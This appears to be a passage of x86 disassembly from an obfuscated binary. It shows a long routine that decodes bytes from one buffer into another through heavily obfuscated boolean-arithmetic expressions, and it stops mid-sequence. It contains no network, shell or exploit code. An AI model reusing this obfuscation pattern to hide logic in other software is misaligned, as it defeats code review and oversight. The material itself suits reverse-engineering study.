mov al, byte [0x4730eb]
mov cl, al
xor cl, 0x23
and cl, al
shl cl, 1
add al, 0xdc
add al, 0x49
sub al, cl
sub al, 0x49
mov byte [0x47316b], al
mov al, byte [0x4730ec]
mov ah, al
and ah, ah
xor ah, 0xff
xor ah, 0xff
or ah, 0xe1
mov cl, al
xor cl, 0xff
or cl, 0x1e
xor ah, 0xff
xor cl, 0xff
or ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0xe1
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0x1e
sub al, dl
mov byte [0x47316c], al
mov al, byte [0x4730ed]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x36
xor cl, 0xff
and al, 0xc9
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x47316d], cl
mov al, byte [0x4730ee]
mov dl, al
xor dl, 0xc2
xor dl, 0xff
and dl, 0xc2
shl dl, 1
sub dl, 0xb2
sub dl, 0xc2
add dl, 0xb2
add al, 0xb1
sub al, dl
sub al, 0xb1
mov byte [0x47316e], al
mov dl, byte [0x4730ef]
mov al, dl
xor al, 0xff
and al, 0x39
and dl, 0xc6
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
xor al, 0xff
xor dl, 0xff
and al, dl
or cl, al
xor cl, 0xff
mov byte [0x47316f], cl
mov al, byte [0x473570]
xor al, 6
mov byte [0x473770], al
mov al, byte [0x473571]
mov cl, al
xor cl, 0xff
and cl, 0x3d
and al, 0xc2
or cl, al
mov byte [0x473771], cl
mov bl, byte [0x473572]
mov dl, bl
xor dl, 0xff
or dl, 0xbe
xor dl, 0xff
and dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x41
sub bl, 0x1a
sub bl, al
add bl, 0x1a
mov byte [0x473772], bl
mov al, byte [0x473573]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
mov ah, dl
and ah, 0xcc
xor ah, 0xff
and dl, 0xcc
xor dl, 0xff
and ah, dl
xor ah, 0xff
mov cl, al
xor cl, 0x33
xor cl, 0xff
or al, 0x33
and al, cl
or ah, al
mov byte [0x473773], ah
mov bl, byte [0x473574]
mov dl, bl
and dl, 0x2f
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x36
add bl, 0x2f
sub bl, 0x36
sub bl, al
mov byte [0x473774], bl
mov al, byte [0x473575]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0x64
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
and al, 0x9b
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x473775], dl
mov dl, byte [0x473576]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, al
and cl, dl
mov al, cl
xor al, 0xff
and al, 0xca
and cl, 0x35
or al, cl
xor al, 0x35
and al, 0x8c
xor al, 0xff
mov ah, dl
xor ah, 0xff
and ah, 0xb5
and dl, 0x4a
or ah, dl
xor ah, 0x4a
mov cl, ah
and cl, 0x8c
xor cl, 0xff
add ah, 0x8c
add ah, 1
add ah, cl
and al, ah
xor al, 0xff
mov byte [0x473776], al
mov al, byte [0x473577]
mov dl, al
xor dl, 0x1d
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0x1d
shl dl, 1
mov cl, dl
xor cl, 0xff
and cl, 0x1d
and dl, 0xe2
sub dl, cl
sub al, dl
mov byte [0x473777], al
mov al, byte [0x473578]
mov cl, al
xor cl, 0xff
and cl, 0x35
and al, 0xca
or cl, al
mov byte [0x473778], cl
mov dl, byte [0x473579]
mov al, dl
xor al, 0xff
and al, 7
or dl, dl
xor dl, 0xff
or dl, 7
xor dl, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
mov byte [0x473779], al
mov al, byte [0x47357a]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x27
xor al, 0xff
or al, 0xd8
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47377a], dl
mov al, byte [0x47357b]
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
xor dl, 0xff
mov cl, dl
xor cl, 0x2c
xor cl, 0xff
or dl, 0x2c
and dl, cl
xor al, 0xff
mov cl, al
and cl, 0xd3
xor cl, 0xff
xor al, 0xff
or al, 0x2c
and cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
mov byte [0x47377b], dl
mov al, byte [0x47357c]
xor al, 0x75
mov byte [0x47377c], al
mov al, byte [0x47357d]
mov cl, al
or cl, cl
xor cl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, ah
and dl, 0x28
and cl, 0xd7
or dl, cl
xor dl, 0x4d
or ah, 0x9a
xor ah, 0xff
and ah, 0xff
or dl, ah
xor dl, 0xff
xor al, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x65
add al, cl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor al, 0xff
and dl, al
mov byte [0x47377d], dl
mov al, byte [0x47357e]
mov cl, al
xor cl, 0xff
and cl, 0xa9
and al, 0x56
or cl, al
mov byte [0x47377e], cl
mov ah, byte [0x47357f]
mov dl, ah
and dl, dl
xor dl, 0xff
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x9b
mov al, dl
xor al, 0xff
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
mov cl, dl
and cl, 0x9b
xor cl, 0xff
add dl, 0x9b
add dl, 1
add dl, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor dl, 0xff
or al, dl
mov byte [0x47377f], al
mov cl, byte [0x473580]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xf3
xor cl, 0xff
or cl, 0xc
and al, cl
xor al, 0xff
mov byte [0x473780], al
mov cl, byte [0x473581]
mov al, cl
xor al, 0xff
and al, 0x89
mov dl, cl
xor dl, 0xff
or dl, 0x89
and cl, 0x76
xor cl, 0xff
and dl, cl
xor dl, 0xff
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x473781], al
mov al, byte [0x473582]
mov cl, al
xor cl, 0xff
and cl, 0xcc
and al, 0x33
or cl, al
xor cl, 0x54
mov byte [0x473782], cl
mov bl, byte [0x473583]
mov al, bl
xor al, 0xf8
mov dl, al
xor dl, 0xff
and dl, 0xcd
and al, 0x32
or dl, al
xor dl, 0x32
and dl, 0xf8
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 7
add al, 1
sub bl, al
mov byte [0x473783], bl
mov bl, byte [0x473584]
mov dl, bl
and dl, 0xdb
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xdb
sub bl, al
mov byte [0x473784], bl
mov al, byte [0x473585]
xor al, 0x20
mov byte [0x473785], al
mov bl, byte [0x473586]
mov al, bl
xor al, 0xb
xor al, 0xff
and al, 0xb
shl al, 1
sub al, 0xb
mov dl, bl
sub dl, al
xor dl, 0xff
and dl, 0xb
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x38
sub al, 0xb
sub al, 0x38
sub bl, al
mov byte [0x473786], bl
mov al, byte [0x473587]
xor al, 0x36
mov byte [0x473787], al
mov cl, byte [0x473588]
mov al, cl
xor al, 0xff
and al, 0xcf
mov dl, cl
and dl, 0x30
or al, dl
xor al, 0x30
and al, 0x5a
and cl, 0xa5
or al, cl
xor al, 0x56
mov byte [0x473788], al
mov al, byte [0x473589]
mov dl, al
or dl, dl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
and dl, 0x46
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
and al, 0xb9
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x473789], dl
mov ah, byte [0x47358a]
mov dh, ah
xor dh, 0xff
and dh, 0x50
and ah, 0xaf
mov al, dh
xor al, 0xff
mov bl, ah
xor bl, 0xff
mov dl, al
and dl, 0x16
and dh, 0xe9
mov cl, bl
and cl, 0x16
and ah, 0xe9
or dl, dh
or cl, ah
xor dl, cl
or al, bl
xor al, 0xff
and al, 0xff
or dl, al
mov byte [0x47378a], dl
mov cl, byte [0x47358b]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0x3a
xor al, 0xff
xor cl, 0xff
and cl, 0x3a
or al, cl
xor al, 0xff
mov byte [0x47378b], al
mov al, byte [0x47358c]
xor al, 0x5d
mov byte [0x47378c], al
mov al, byte [0x47358d]
xor al, 0x97
mov byte [0x47378d], al
mov al, byte [0x47358e]
xor al, 0xbb
mov byte [0x47378e], al
mov al, byte [0x47358f]
xor al, 0x73
mov byte [0x47378f], al
mov al, byte [0x473590]
xor al, 0x66
mov byte [0x473790], al
mov al, byte [0x473591]
xor al, 0xac
mov byte [0x473791], al
mov al, byte [0x473592]
mov cl, al
and cl, 0x75
shl cl, 1
add al, 0x75
sub al, cl
mov byte [0x473792], al
mov al, byte [0x473593]
xor al, 0xb4
mov byte [0x473793], al
mov al, byte [str.B__]
xor al, 0x48
mov byte [0x473794], al
mov al, byte [0x473595]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0xa2
mov cl, al
xor cl, 0xa2
and cl, al
mov al, dl
and al, cl
xor dl, cl
or al, dl
xor al, 0xd5
mov byte [0x473795], al
mov al, byte [0x473596]
xor al, 0x23
mov byte [0x473796], al
mov al, byte [0x473597]
mov cl, al
xor cl, 0xff
and cl, 0x8c
and al, 0x73
or cl, al
xor cl, 0xa2
mov byte [0x473797], cl
mov al, byte [0x473598]
xor al, 0x37
mov byte [0x473798], al
mov al, byte [0x473599]
xor al, 0xdd
mov byte [0x473799], al
mov bl, byte [0x47359a]
mov dl, bl
xor dl, 0xff
mov al, bl
xor al, 0xff
and dl, al
or dl, 0x28
xor dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
xor edx, edx
sub dl, bl
add dl, 0x29
xor ecx, ecx
sub cl, dl
sub cl, al
mov byte [0x47379a], cl
mov bl, byte [0x47359b]
mov dl, bl
xor dl, 0xff
or dl, 0xc2
mov al, bl
and al, 0x3d
xor al, 0xff
and dl, al
xor dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x3d
add bl, 0x1e
sub bl, al
sub bl, 0x1e
mov byte [0x47379b], bl
mov al, byte [0x47359c]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 4
and al, 4
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47379c], dl
mov al, byte [0x47359d]
mov cl, al
xor cl, 0xff
and cl, 0x9c
and al, 0x63
or cl, al
mov byte [0x47379d], cl
mov bl, byte [0x47359e]
mov al, bl
xor al, 0xff
and al, 0x91
mov cl, bl
and cl, 0x6e
or al, cl
xor al, 0xae
xor al, 0xff
mov dl, al
xor dl, 0xff
or dl, 0xc0
xor al, 0xff
or al, 0xc0
xor dl, 0xff
xor al, 0xff
or dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x3f
sub bl, al
mov byte [0x47379e], bl
mov al, byte [0x47359f]
xor al, 0x1c
mov byte [0x47379f], al
mov al, byte [0x4735a0]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0xce
add dl, cl
shl dl, 1
sub al, 0x32
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x4737a0], al
mov al, byte [0x4735a1]
mov cl, al
xor cl, 0xff
and cl, 0xe6
and al, 0x19
mov dl, cl
and dl, al
xor cl, al
or dl, cl
mov byte [0x4737a1], dl
mov al, byte [0x4735a2]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 8
xor cl, 0xff
and al, 0xf7
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x4737a2], cl
mov al, byte [0x4735a3]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0x1a
add dl, cl
shl dl, 1
add al, 0x1a
add al, 0x3d
sub al, dl
sub al, 0x3d
mov byte [0x4737a3], al
mov al, byte [0x4735a4]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x35
mov cl, al
xor cl, 0xff
and cl, 0xca
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
mov ah, dl
and ah, 0x35
xor ah, 0xff
and dl, 0x35
xor dl, 0xff
and ah, dl
xor ah, 0xff
shl ah, 1
mov cl, ah
xor cl, 0x35
and ah, 0xca
shl ah, 1
sub ah, cl
mov cl, al
xor cl, ah
xor ah, 0xff
and al, ah
shl al, 1
sub al, cl
mov byte [0x4737a4], al
mov al, byte [0x4735a5]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x24
xor dl, 0xff
mov cl, al
xor cl, 0xff
or cl, 0x24
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
xor dl, 0xff
or dl, 0xdb
xor dl, 0xff
and dl, 0xff
shl dl, 1
mov cl, dl
xor cl, 0x24
and dl, 0xdb
shl dl, 1
sub dl, cl
sub al, dl
mov byte [0x4737a5], al
mov cl, byte [0x4735a6]
mov al, cl
xor al, 0xff
or al, 0x19
add al, 0xe7
mov dl, cl
xor dl, 0xff
or dl, 0xe6
xor cl, 0xff
or cl, 0xe6
and dl, cl
xor dl, 0xff
or al, dl
mov byte [0x4737a6], al
mov al, byte [0x4735a7]
xor al, 0x7b
mov byte [0x4737a7], al
mov al, byte [0x4735a8]
mov cl, al
xor cl, 0xc9
xor cl, 0xff
and cl, 0xc9
shl cl, 1
sub cl, 0xc9
sub al, cl
mov byte [0x4737a8], al
mov cl, byte [0x4735a9]
mov al, cl
xor al, 0xff
and al, 0x94
mov dl, cl
xor dl, 0x94
and dl, cl
or al, dl
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x7b
xor dl, 0xff
and al, 0x84
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4737a9], dl
mov cl, byte [0x4735aa]
mov dl, cl
and dl, 0xcb
shl dl, 1
xor eax, eax
sub al, cl
add al, 0x35
xor ecx, ecx
sub cl, al
sub cl, dl
mov byte [0x4737aa], cl
mov dl, byte [0x4735ab]
mov al, dl
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
and al, 0xae
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0x51
add dl, cl
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
xor al, 0x67
mov byte [0x4737ab], al
mov al, byte [0x4735ac]
xor al, 0x2f
mov byte [0x4737ac], al
mov al, byte [0x4735ad]
mov cl, al
and cl, 0x96
shl cl, 1
add al, 0x96
sub al, cl
mov byte [0x4737ad], al
mov dl, byte [0x4735ae]
mov cl, dl
xor cl, 0xff
mov al, cl
and al, 0x87
xor al, 0xff
and cl, 0x87
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
mov cl, dl
xor cl, 0x87
and cl, dl
or al, cl
xor al, 0x48
mov byte [0x4737ae], al
mov al, byte [0x4735af]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov dh, dl
xor dh, 0xff
mov bh, bl
xor bh, 0xff
mov ah, dh
and ah, 0x6a
and dl, 0x95
mov cl, bh
and cl, 0x6a
and bl, 0x95
or ah, dl
or cl, bl
xor ah, cl
or dh, bh
xor dh, 0xff
and dh, 0xff
or ah, dh
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
or dl, 0xfe
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
mov dh, al
xor dh, 0xff
mov ah, dh
and ah, 0x43
and al, 0xbc
or ah, al
xor ah, 0x42
or dh, 0xfe
xor dh, 0xff
and dh, 0xff
or ah, dh
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
xor ah, 0xff
or dl, ah
mov byte [0x4737af], dl
mov al, byte [0x4735b0]
mov bl, al
xor bl, 0xff
mov dh, al
xor dh, 0xff
mov dl, bl
xor dl, 0xff
mov bh, dh
xor bh, 0xff
mov ah, dl
and ah, 0xa3
and bl, 0x5c
mov cl, bh
and cl, 0xa3
and dh, 0x5c
or ah, bl
or cl, dh
xor ah, cl
or dl, bh
xor dl, 0xff
and dl, 0xff
or ah, dl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
mov cl, dl
and cl, 5
xor cl, 0xff
add dl, 5
add dl, 1
add dl, cl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
or al, 0xfa
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or dl, al
mov byte [0x4737b0], dl
mov al, byte [0x4735b1]
mov cl, al
and cl, 0xa
shl cl, 1
add al, 0xa
sub al, cl
mov byte [0x4737b1], al
mov al, byte [0x4735b2]
xor al, 0x2a
mov byte [0x4737b2], al
mov al, byte [0x4735b3]
mov cl, al
xor cl, 0xff
and cl, 0x67
and al, 0x98
or cl, al
mov byte [0x4737b3], cl
mov al, byte [0x4735b4]
mov cl, al
and cl, 0x44
shl cl, 1
sub al, 0xbc
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x4737b4], al
mov al, byte [0x4735b5]
mov cl, al
and cl, 0xaf
shl cl, 1
add al, 0xaf
sub al, cl
mov byte [0x4737b5], al
mov cl, byte [0x4735b6]
mov al, cl
xor al, 0xff
xor al, 0xff
xor al, 0xa9
and al, 0xa9
mov dl, cl
xor dl, 0xa9
and dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov byte [0x4737b6], cl
mov al, byte [0x4735b7]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
xor cl, 0xff
and dl, cl
mov cl, dl
and cl, 4
mov ah, dl
xor ah, 0xfb
add dl, ah
sub dl, cl
xor dl, 0xff
or al, 4
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
xor dl, 0xff
xor al, 0xff
xor al, 0xff
mov cl, dl
xor cl, al
and cl, dl
mov byte [0x4737b7], cl
mov al, byte [0x4735b8]
mov dl, al
and dl, dl
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, dl
xor cl, 0x9d
xor cl, 0xff
or dl, 0x9d
and dl, cl
xor dl, 0xff
and al, 0x62
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
or ah, cl
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
or ah, 0
mov byte [0x4737b8], ah
mov bl, byte [0x4735b9]
mov dl, bl
and dl, 0x68
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x68
sub bl, al
mov byte [0x4737b9], bl
mov al, byte [0x4735ba]
xor al, 0xc5
mov byte [0x4737ba], al
mov al, byte [0x4735bb]
mov dl, al
xor dl, 0xff
and dl, 0x2f
mov cl, al
and cl, 0xd0
or dl, cl
xor dl, 0xd0
and dl, 0x76
and al, 0x89
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 6
and dl, 0xf9
mov cl, bl
and cl, 6
and al, 0xf9
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x4737bb], dh
mov al, byte [0x4735bc]
mov cl, al
xor cl, 0x53
xor cl, 0xff
and cl, 0x53
shl cl, 1
sub cl, 0x53
sub al, cl
mov byte [0x4737bc], al
mov al, byte [0x4735bd]
mov cl, al
or cl, cl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xdb
add dl, cl
or al, 0xdb
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or dl, al
xor dl, 0xff
mov byte [0x4737bd], dl
mov bl, byte [0x4735be]
mov dl, bl
and dl, 0xbb
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xbb
xor al, 0xff
add bl, al
add bl, 1
mov byte [str.LAZ], bl
mov al, byte [0x4735bf]
mov cl, al
xor cl, 0xff
and cl, 0xef
and al, 0x10
or cl, al
mov byte [0x4737bf], cl
mov al, byte [0x4735c0]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
or dl, 0x80
xor dl, 0xff
and dl, 0xff
and al, 0x80
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 0x33
and dl, 0xcc
mov cl, bl
and cl, 0x33
and al, 0xcc
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x4737c0], dh
mov al, byte [0x4735c1]
mov cl, al
xor cl, 0xc1
xor cl, 0xff
and cl, 0xc1
shl cl, 1
sub cl, 0xc1
sub al, cl
mov byte [0x4737c1], al
mov dl, byte [0x4735c2]
mov al, dl
and al, al
xor al, 0xff
and al, 0xd3
xor al, 0xff
and dl, 0x2c
xor dl, 0xff
and dl, 0xff
or dl, 0
and al, dl
xor al, 0xff
mov byte [0x4737c2], al
mov al, byte [0x4735c3]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
and dl, cl
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xa2
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x5d
mov dh, dl
xor dh, 0xff
mov bl, al
xor bl, 0xff
mov ah, dh
and ah, 0xb1
and dl, 0x4e
mov cl, bl
and cl, 0xb1
and al, 0x4e
or ah, dl
or cl, al
xor ah, cl
or dh, bl
xor dh, 0xff
and dh, 0xff
or ah, dh
mov al, ah
and al, 0xff
shl al, 1
add ah, 0xff
sub ah, al
mov byte [0x4737c3], ah
mov al, byte [0x4735c4]
mov cl, al
and cl, 0x25
shl cl, 1
add al, 0x25
sub al, cl
mov byte [0x4737c4], al
mov bl, byte [0x4735c5]
mov dl, bl
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x16
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x16
sub bl, 0xfd
sub bl, al
add bl, 0xfd
mov byte [0x4737c5], bl
mov al, byte [0x4735c6]
xor al, 0x66
mov byte [0x4737c6], al
mov al, byte [0x4735c7]
mov cl, al
and cl, 0xfd
shl cl, 1
add al, 0xfd
sub al, cl
mov byte [0x4737c7], al
mov al, byte [0x4735c8]
xor al, 0xed
mov byte [0x4737c8], al
mov al, byte [0x4735c9]
mov cl, al
and cl, 0x9a
shl cl, 1
add al, 0x9a
sub al, cl
mov byte [0x4737c9], al
mov al, byte [0x4735ca]
xor al, 0x6b
mov byte [0x4737ca], al
mov cl, byte [0x4735cb]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x3e
shl al, 1
xor edx, edx
sub dl, cl
add dl, 0xc2
xor ecx, ecx
sub cl, dl
sub cl, al
mov byte [0x4737cb], cl
mov al, byte [0x4735cc]
mov cl, al
xor cl, 0xff
and cl, 0xde
and al, 0x21
or cl, al
xor cl, 0x42
mov byte [0x4737cc], cl
mov al, byte [0x4735cd]
mov cl, al
xor cl, 0xff
and cl, 0xed
and al, 0x12
or cl, al
xor cl, 0x5c
mov byte [0x4737cd], cl
mov al, byte [0x4735ce]
mov cl, al
xor cl, 0xff
and cl, 0x1e
mov dl, al
xor dl, 0xe1
xor dl, 0xff
or al, 0xe1
and al, dl
or cl, al
xor cl, 0xa3
mov byte [0x4737ce], cl
mov bl, byte [0x4735cf]
mov dl, bl
and dl, 0xb
xor dl, 0xff
mov al, bl
and al, 0xb
xor al, 0xff
and dl, al
xor dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xb
sub bl, al
mov byte [0x4737cf], bl
mov al, byte [0x4735d0]
xor al, 0xfc
mov byte [0x4737d0], al
mov al, byte [0x4735d1]
mov cl, al
and cl, 0xaa
shl cl, 1
mov dl, al
add dl, 0xaa
sub dl, cl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and dl, 0xaa
shl dl, 1
sub dl, 0xaa
xor dl, 0xff
add al, dl
add al, 1
mov byte [0x4737d1], al
mov al, byte [0x4735d2]
mov dl, al
and dl, dl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor dl, 0xff
or dl, 0xf1
xor al, 0xff
or al, 0xe
xor dl, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, al
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x4737d2], cl
mov al, byte [0x4735d3]
mov cl, al
xor cl, 0xff
and cl, 0xd8
and al, 0x27
or cl, al
xor cl, 0xa0
mov byte [0x4737d3], cl
mov al, byte [0x4735d4]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x73
xor cl, 0xff
xor al, 0xff
or al, 0x73
and cl, al
xor cl, 0xff
mov byte [0x4737d4], cl
mov al, byte [0x4735d5]
mov dl, al
xor dl, 0xff
or dl, 0xab
mov cl, al
and cl, 0x54
xor cl, 0xff
and dl, cl
xor dl, 0xff
shl dl, 1
sub al, 0xac
add al, 0xe2
sub al, dl
sub al, 0xe2
mov byte [0x4737d5], al
mov cl, byte [0x4735d6]
mov al, cl
xor al, 0xff
and al, 0x4b
and cl, 0xb4
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xbf
xor dl, 0xff
or al, 0x40
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [str.f_a5_t], dl
mov dl, byte [0x4735d7]
mov cl, dl
xor cl, 0xff
mov al, cl
and al, 0x70
xor al, 0xff
xor cl, 0xff
or cl, 0x8f
and al, cl
xor al, 0xff
and dl, 0x8f
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov cl, al
xor cl, 0xff
and cl, 0x93
and al, 0x6c
or cl, al
mov byte [0x4737d7], cl
mov dl, byte [0x4735d8]
